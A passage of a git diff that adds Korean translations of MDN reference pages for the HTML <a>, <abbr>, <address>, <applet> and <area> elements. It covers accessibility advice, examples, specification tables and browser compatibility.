+<p>이런 가짜 <code>href</code> 값은 링크를 복사하거나 드래그할 때, 링크를 새 탭이나 새 창에서 열 때, 즐겨찾기에 추가할 때와 JavaScript를 불러오고 있거나 스크립트 오류가 발생했을 때, 아니면 비활성화했을 때 예측하지 못한 동작을 유발합니다. 또한 스크린 리더 등 보조 기술에도 잘못된 의미를 전달합니다.</p>
+
+<p>대신 {{HTMLElement("button")}}을 사용하세요. <strong>하이퍼링크는 진짜 URL로의 탐색 용도로만 사용해야 합니다</strong>.</p>
+
+<h3 id="외부_링크와_비_HTML_리소스_링크">외부 링크와 비 HTML 리소스 링크</h3>
+
+<p><code>target="_blank"</code>로 인해 새 탭/창을 여는 링크와, 파일을 다운로드하는 링크는, 링크를 클릭했을 때 무슨 일이 발생할건지 명시해야 합니다.</p>
+
+<p>시력이 나쁘거나 스크린 리더로 탐색하는 사용자, 혹은 지각 능력이 낮은 사용자는 예상하지 못한 상황에서 새 탭, 새 창, 다른 앱이 켜지는 순간 혼란스러울 수 있습니다. 오래된 스크린 리더는 이런 상황을 아예 알려주지 못할 수도 있습니다.</p>
+
+<h4 id="새로운_탭창을_여는_링크">새로운 탭/창을 여는 링크</h4>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="https://ko.wikipedia.org"&gt;
+  위키백과 (새 탭에서 열림)
+&lt;/a&gt;
+</pre>
+
+<h4 id="비_HTML_리소스_링크">비 HTML 리소스 링크</h4>
+
+<pre class="brush: html notranslate">&lt;a href="2017-annual-report.ppt"&gt;
+  2017 연간 보고서 (PowerPoint)
+&lt;/a&gt;
+</pre>
+
+<p>아이콘을 사용해 링크의 행동을 강조할 땐 {{HTMLAttrxRef("alt", "img", "대체 텍스트", 1)}}를 꼭 지정하세요.</p>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="https://ko.wikipedia.org"&gt;
+  위키백과
+  &lt;img alt="(새 탭에서 열림)" src="newtab.svg"&gt;
+&lt;/a&gt;
+
+&lt;a href="2017-annual-report.ppt"&gt;
+  2017 연간 보고서
+  &lt;img alt="(PowerPoint 파일)" src="ppt-icon.svg"&gt;
+&lt;/a&gt;</pre>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/hypertext/hypertext_links">WebAIM: Links and Hypertext - Hypertext Links</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.2_—_Predictable_Make_Web_pages_appear_and_operate_in_predictable_ways">MDN / Understanding WCAG, Guideline 3.2</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G200.html">G200: Opening new windows and tabs from a link only when necessary</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G201.html">G201: Giving users advanced warning when opening a new window</a></li>
+</ul>
+
+<h3 id="건너뛰기_링크">건너뛰기 링크</h3>
+
+<p><strong>건너뛰기 링크</strong>(skip link)는 {{HTMLElement("body")}} 콘텐츠에서 가능한 앞쪽에 배치하는 링크로, 페이지의 주요 콘텐츠 시작점을 가리킵니다. 건너뛰기 링크는 보통 포커스 전까지 숨겨집니다.</p>
+
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;a href="#content"&gt;내용으로 건너뛰기&lt;/a&gt;
+
+  &lt;header&gt;
+    …
+  &lt;/header&gt;
+
+  &lt;main id="content"&gt; &lt;!-- 여기로 건너뜀 --&gt;
+</pre>
+
+<pre class="brush: css notranslate">.skip-link {
+  position: absolute;
+  top: -3em;
+  background: #fff;
+}
+.skip-link:focus {
+  top: 0;
+}</pre>
+
+<p>건너뛰기 링크는 헤더 내비게이션과 같이 여러 페이지에서 반복되는 콘텐츠를 키보드 사용자가 쉽게 생략할 수 있도록 도와줍니다.</p>
+
+<p>건너뛰기 링크는 스위치 조작, 음성 명령, 마우스 스틱/헤드 완드처럼 반복 콘텐츠를 건너뛰기 힘든 보조 기술 사용자에게 큰 도움이 됩니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: "Skip Navigation" Links</a></li>
+ <li><a href="https://a11yproject.com/posts/skip-nav-links/">How-to: Use Skip Navigation links</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN / Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1</a></li>
+</ul>
+
+<h3 id="크기와_간격">크기와 간격</h3>
+
+<h4 id="크기">크기</h4>
+
+<p>링크와 같은 대화형 요소는 상호작용하기 충분한 크기의 활성화 영역을 가져야 합니다. 충분한 크기는 운동 조절 장애를 가진 사용자와, 터치스크린처럼 정확하지 않은 입력 도구 사용자처럼 다양한 사람을 돕습니다. 최소 44x44의 <a href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels">CSS 픽셀</a> 크기를 권고합니다.</p>
+
+<p>산문 내의 텍스트로만 이루어진 링크는 위 규칙에서 제외할 수 있지만, 그래도 활성화하기 쉬운 크기를 확보하는 것이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Understanding Success Criterion 2.5.5: Target Size</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Target Size and 2.5.5</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Quick test: Large touch targets</a></li>
+</ul>
+
+<h4 id="간격">간격</h4>
+
+<p>링크와 같은 대화형 요소 다수를 시각적으로 가까이 배치할 땐 서로를 분리하는 공간을 둬야 합니다. 간격은 운동 조절 장애를 가진 사용자가 원하지 않는 상호작용을 하는걸 방지할 수 있습니다.</p>
+
+<p>간격은 {{CSSxRef("margin")}}과 같은 CSS 속성으로 설정할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Referrer Policy", "#referrer-policy-delivery-referrer-attribute", "referrer attribute")}}</td>
+   <td>{{Spec2("Referrer Policy")}}</td>
+   <td>Added the <code>referrer</code>attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "text-level-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "text-level-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "struct/links.html#h-12.2", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("link")}}는 <code>&lt;a&gt;</code>와 유사하지만, 사용자에게 노출하지 않는 메타데이터 하이퍼링크를 위한 요소입니다.</li>
+ <li>{{CSSxRef(":link")}}는 유효한 <code>href</code> 특성을 가진 <code>&lt;a&gt;</code> 요소를 선택하는 CSS 의사 클래스입니다.</li>
+</ul>
diff --git a/files/ko/web/html/element/abbr/index.html b/files/ko/web/html/element/abbr/index.html
new file mode 100644
index 0000000000..7deefb3ce3
--- /dev/null
+++ b/files/ko/web/html/element/abbr/index.html
@@ -0,0 +1,194 @@
+---
+title: <abbr>
+slug: Web/HTML/Element/abbr
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/abbr
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;abbr&gt;</code> 요소</strong>는 준말 또는 머리글자를 나타냅니다.</span> 선택 속성인 {{htmlattrxref("title")}}을 사용하면 준말의 전체 뜻이나 설명을 제공할 수 있습니다. <code>title</code> 속성은 전체 설명만을 가져야 하며 다른건 포함할 수 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/abbr.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="htmlelt">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content categories#Phrasing content">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content_categories#Phrasing_content">구문 콘텐츠</a></td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content_categories#Phrasing_content">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다. 단, 다른 요소와 달리 <code>&lt;abbr&gt;</code> 요소에서의 {{htmlattrxref("title")}} 특성은 특정한 의미를 가지며, <code>title</code>은 준말에 대한 설명 혹은 확장 형태를 사람이 읽을 수 있는 형태를 값으로 가져야 합니다. 브라우저는 <code>title</code>의 값을 보통 마우스 커서를 올렸을 때 나타나는 툴팁으로 보여줍니다.</p>
+
+<p>각각의 <code>&lt;abbr&gt;</code> 요소는 서로 독립적입니다. 하나의 요소에 <code>title</code>을 제공한다고 나머지에 지정하지 않아도 되는 것은 아닙니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="많이_쓰이는_곳">많이 쓰이는 곳</h3>
+
+<p>당연히 모든 준말을 <code>&lt;abbr&gt;</code>로 표시해야 하는 것은 아닙니다. 그러나 표시할 경우 도움이 될, 다음과 같은 경우가 있습니다.</p>
+
+<ul>
+ <li>사용한 준말과 머리글자를 문서 콘텐츠 플로우 밖에서 풀어서 설명하고 싶으면 적절한 {{htmlattrxref("title")}} 특성을 지정한 <code>&lt;abbr&gt;</code> 요소를 사용하세요.</li>
+ <li>독자에게 익숙하지 않을 수 있는 준말을 사용할 경우 <code>&lt;abbr&gt;</code>과 함께 <code>title</code> 특성이나 인라인 텍스트로 단어에 대한 정의를 제공하세요.</li>
+ <li>준말임을 명시적으로 나타내야 할 경우 <code>&lt;abbr&gt;</code> 요소가 유용합니다. 이를 응용하면 스타일링이나 스크립트 적용에도 사용할 수 있습니다.</li>
+ <li><code>&lt;abbr&gt;</code>을 {{HTMLElement("dfn")}}과 같이 사용하면 준말이나 머리글자를 그 정의와 연결할 수 있습니다. 아래의 {{anch("준말 정의하기")}}을 참고하세요.</li>
+</ul>
+
+<h3 id="문법_고려사항">문법 고려사항</h3>
+
+<p>수량이 문법에 영향을 미치는 언어(one apple vs. two apple<strong>s</strong>)의 경우, <code>&lt;abbr&gt;</code> 요소의 텍스트와 <code>title</code> 특성의 내용이 같은 형태를 따르도록 하세요. 아랍어처럼 두 개 이상의 복수형 구분을 두는 언어에서 특히 중요하나, 영어도 해당합니다.</p>
+
+<h2 id="기본_스타일">기본 스타일</h2>
+
+<p><code>&lt;abbr&gt;</code>의 목적은 오로지 HTML 작성자의 편리함을 위함이며, 모든 브라우저는 기본적으로 인라인({{cssxref('display')}}<code>: inline</code>)으로 렌더링 합니다. 그러나 기본 스타일은 브라우저마다 다를 수 있습니다.</p>
+
+<ul>
+ <li>Internet Explorer 등 일부 브라우저는 {{HTMLElement("span")}} 요소와 동일하게 그립니다.</li>
+ <li>Opera, Firefox 등은 요소에 점선 밑줄을 추가합니다.</li>
+ <li>몇몇은 점선을 추가할 뿐만 아니라, 영어 소문자도 작은 대문자로 표현합니다. 이를 제거하려면 CSS {{cssxref('font-variant')}}를 <code>none</code>으로 설정하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="준말임을_나타내기">준말임을 나타내기</h3>
+
+<p>설명 없이, 단순히 특정 단어가 준말임을 나타내기만 하고자 하면 <code>&lt;abbr&gt;</code>을 다른 특성 없이 사용하세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Using &lt;abbr&gt;HTML&lt;/abbr&gt; is fun and easy!&lt;/p&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("준말임을_나타내기")}}</p>
+
+<h3 id="준말_스타일링">준말 스타일링</h3>
+
+<p>CSS를 사용해 준말에 적용할 사용자 지정 스타일을 적용할 수 있습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Using &lt;abbr&gt;CSS&lt;/abbr&gt;, you can style your abbreviations!&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">abbr {
+  font-variant: all-small-caps;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("준말_스타일링")}}</p>
+
+<h3 id="펼친_형태_보여주기">펼친 형태 보여주기</h3>
+
+<p>{{htmlattrxref("title")}} 특성을 사용하면 준말과 머리글자를 펼친 원래 형태를 보여줄 수 있습니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Ashok's joke made me &lt;abbr title="Laugh Out Loud"&gt;LOL&lt;/abbr&gt; big
+time.&lt;/p&gt;</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("펼친_형태_보여주기")}}</p>
+
+<h3 id="준말_정의하기">준말 정의하기</h3>
+
+<p><code>&lt;abbr&gt;</code>과 {{HTMLElement("dfn")}}을 사용하면 준말을 정식으로 정의할 수 있습니다.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;dfn id="html"&gt;&lt;abbr title="HyperText Markup Language"&gt;HTML&lt;/abbr&gt;
+&lt;/dfn&gt; is a markup language used to create the semantics and structure
+of a web page.&lt;/p&gt;
+
+&lt;p&gt;A &lt;dfn id="spec"&gt;Specification&lt;/dfn&gt;
+(&lt;abbr title="Specification"&gt;spec&lt;/abbr&gt;) is a document that outlines
+in detail how a technology or API is intended to function and how it is
+accessed.&lt;/p&gt;</pre>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{EmbedLiveSample("준말_정의하기", 600, 120)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>준말과 머리글자가 처음 사용될 때, 그 뜻을 풀어 설명하면 독자가 문서를 이해하기 쉬워집니다. 특히 콘텐츠가 기술이나 산업에 관련된 전문적인 내용인 경우 더욱 그렇습니다.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;JavaScript Object Notation(&lt;abbr&gt;JSON&lt;/abbr&gt;)은 경량의 데이터 교환 형식입니다.&lt;/p&gt;
+</pre>
+
+<p>무엇보다 용어나 개념에 익숙하지 않은 사람, 언어를 새로 접한 사람, 그리고 인지력 문제를 겪고 있는 사용자에게 큰 도움이 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.abbr")}}</p>
diff --git a/files/ko/web/html/element/address/index.html b/files/ko/web/html/element/address/index.html
new file mode 100644
index 0000000000..cd43856ceb
--- /dev/null
+++ b/files/ko/web/html/element/address/index.html
@@ -0,0 +1,128 @@
+---
+title: <address>
+slug: Web/HTML/Element/address
+tags:
+  - Element
+  - HTML
+  - HTML sections
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/address
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;address&gt;</code> 요소</strong>는 가까운 HTML 요소의 사람, 단체, 조직 등에 대한 연락처 정보를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/address.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p><code>&lt;address&gt;</code> 요소의 콘텐츠가 제공하는 연락처 정보는 현재 맥락에 적절한 아무 형태나 취할 수 있으며, 물리적 주소, URL, 이메일 주소, 전화번호, SNS 식별자, 좌표 등 어떠한 정보라도 포함할 수 있습니다. 반드시 포함해야 하는 정보는 연락처가 가리키는 개인, 조직, 단체의 이름입니다.</p>
+
+<p><code>&lt;address&gt;</code>는 다양한 맥락에서 사용할 수 있습니다. 사업체 연락 방법을 페이지 헤더에 배치할 때도 쓸 수 있고, {{HTMLElement("article")}} 내부에 배치해서 글의 작성자를 나타낼 수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 단, 다음의 요소는 사용할 수 없습니다.<br>
+    다른 <code>&lt;address&gt;</code>, 제목 콘텐츠 ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), 구획 콘텐츠 ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}), {{HTMLElement("header")}}, {{HTMLElement("footer")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소. 단, <code>&lt;address&gt;</code> 요소 제외.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>기존 명세에서의 <code>&lt;address&gt;</code> 요소는 문서 작성자의 연락처만 나타내는 요소였습니다. 그러나 최신 명세에서 임의의 연락처를 포함할 수 있도록 수정됐습니다.</li>
+ <li>연락처 외의 정보(출판일 등)를 담아서는 안됩니다.</li>
+ <li>보통, 현재 구획에 {{htmlelement("footer")}} 요소가 존재하면 <code>&lt;address&gt;</code>를 그 안에 배치할 수 있습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <code>&lt;address&gt;</code>를 사용해 글 작성자의 연락처를 구별하는 모습을 보입니다.</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+  You can contact author at &lt;a href="http://www.somedomain.com/contact"&gt;
+  www.somedomain.com&lt;/a&gt;.&lt;br&gt;
+  If you see any bugs, please &lt;a href="mailto:webmaster@somedomain.com"&gt;
+  contact webmaster&lt;/a&gt;.&lt;br&gt;
+  You may also want to visit us:&lt;br&gt;
+  Mozilla Foundation&lt;br&gt;
+  331 E Evelyn Ave&lt;br&gt;
+  Mountain View, CA 94041&lt;br&gt;
+  USA
+&lt;/address&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "300", "200")}}</p>
+
+<p>비록 겉보기는 {{HTMLElement("i")}}나 {{HTMLElement("em")}} 요소와 같지만, <code>&lt;address&gt;</code> 요소는 자체적인 의미를 갖고 있으므로 연락처 표기에는 <code>&lt;address&gt;</code>가 더 적합합니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.address")}}</p>
diff --git a/files/ko/web/html/element/applet/index.html b/files/ko/web/html/element/applet/index.html
new file mode 100644
index 0000000000..274b0635db
--- /dev/null
+++ b/files/ko/web/html/element/applet/index.html
@@ -0,0 +1,115 @@
+---
+title: <applet>
+slug: Web/HTML/Element/applet
+translation_of: Web/HTML/Element/applet
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p>HTML의 Applet 태그 (<code>&lt;applet&gt;</code>) 는 자바 애플릿을 보이게 하는 곳에 쓰입니다.</p>
+
+<div class="note">
+<p><strong>사용시 참고: </strong>This element has been removed in HTML5 and shouldn't be used anymore. Instead web developers should use the more generic {{HTMLElement("object")}} element.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>This attribute is used to position the applet on the page relative to content that might flow around it. The HTML 4.01 specification defines values of bottom, left, middle, right, and top, whereas Microsoft and Netscape also might support <strong>absbottom</strong>, <strong>absmiddle</strong>, <strong>baseline</strong>, <strong>center</strong>, and <strong>texttop</strong>.</dd>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>This attribute causes a descriptive text alternate to be displayed on browsers that do not support Java. Page designers should also remember that content enclosed within the <code>&lt;applet&gt;</code> element may also be rendered as alternative text.</dd>
+ <dt>{{htmlattrdef("archive")}}</dt>
+ <dd>This attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time.</dd>
+ <dt>{{htmlattrdef("code")}}</dt>
+ <dd>This attribute specifies the URL of the applet's class file to be loaded and executed. Applet filenames are identified by a .class filename extension. The URL specified by code might be relative to the <code>codebase</code> attribute.</dd>
+ <dt>{{htmlattrdef("codebase")}}</dt>
+ <dd>This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.</dd>
+ <dt>{{htmlattrdef("datafld")}}</dt>
+ <dd>This attribute, supported by Internet Explorer 4 and higher, specifies the column name from the data source object that supplies the bound data. This attribute might be used to specify the various {{HTMLElement("param")}} elements passed to the Java applet.</dd>
+ <dt>{{htmlattrdef("datasrc")}}</dt>
+ <dd>Like <code>datafld</code>, this attribute is used for data binding under Internet Explorer 4. It indicates the id of the data source object that supplies the data that is bound to the {{HTMLElement("param")}} elements associated with the applet.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>This attribute specifies the height, in pixels, that the applet needs.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>This attribute specifies additional horizontal space, in pixels, to be reserved on either side of the applet.</dd>
+ <dt>{{htmlattrdef("mayscript")}}</dt>
+ <dd>In the Netscape implementation, this attribute allows access to an applet by programs in a scripting language embedded in the document.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>This attribute assigns a name to the applet so that it can be identified by other resources; particularly scripts.</dd>
+ <dt>{{htmlattrdef("object")}}</dt>
+ <dd>This attribute specifies the URL of a serialized representation of an applet.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>As defined for Internet Explorer 4 and higher, this attribute specifies a URL for an associated file for the applet. The meaning and use is unclear and not part of the HTML standard.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>This attribute specifies additional vertical space, in pixels, to be reserved above and below the applet.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>This attribute specifies in pixels the width that the applet needs.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;applet code="game.class" align="left" archive="game.zip" height="250" width="350"&gt;
+  &lt;param name="difficulty" value="easy"&gt;
+  &lt;b&gt;죄송합니다. 이 게임을 플레이하려면 자바가 설치되어 있어야 합니다.&lt;/b&gt;
+&lt;/applet&gt;
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The W3C specification does not encourage the use of <code>&lt;applet&gt;</code> and prefers the use of the {{HTMLElement("object")}} tag. Under the strict definition of HTML 4.01, this element is deprecated and entirely obsolete in HTML5.</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/area/index.html b/files/ko/web/html/element/area/index.html
new file mode 100644
index 0000000000..4c3f6d93a7
--- /dev/null
+++ b/files/ko/web/html/element/area/index.html
@@ -0,0 +1,184 @@
+---
+title: <area>
+slug: Web/HTML/Element/area
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/area
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;area&gt;</code> 요소</strong>는 이미지의 핫스팟 영역을 정의하고 {{glossary("hyperlink", "하이퍼링크")}}를 추가할 수 있습니다. {{htmlelement("map")}} 요소 안에서만 사용할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div>
+
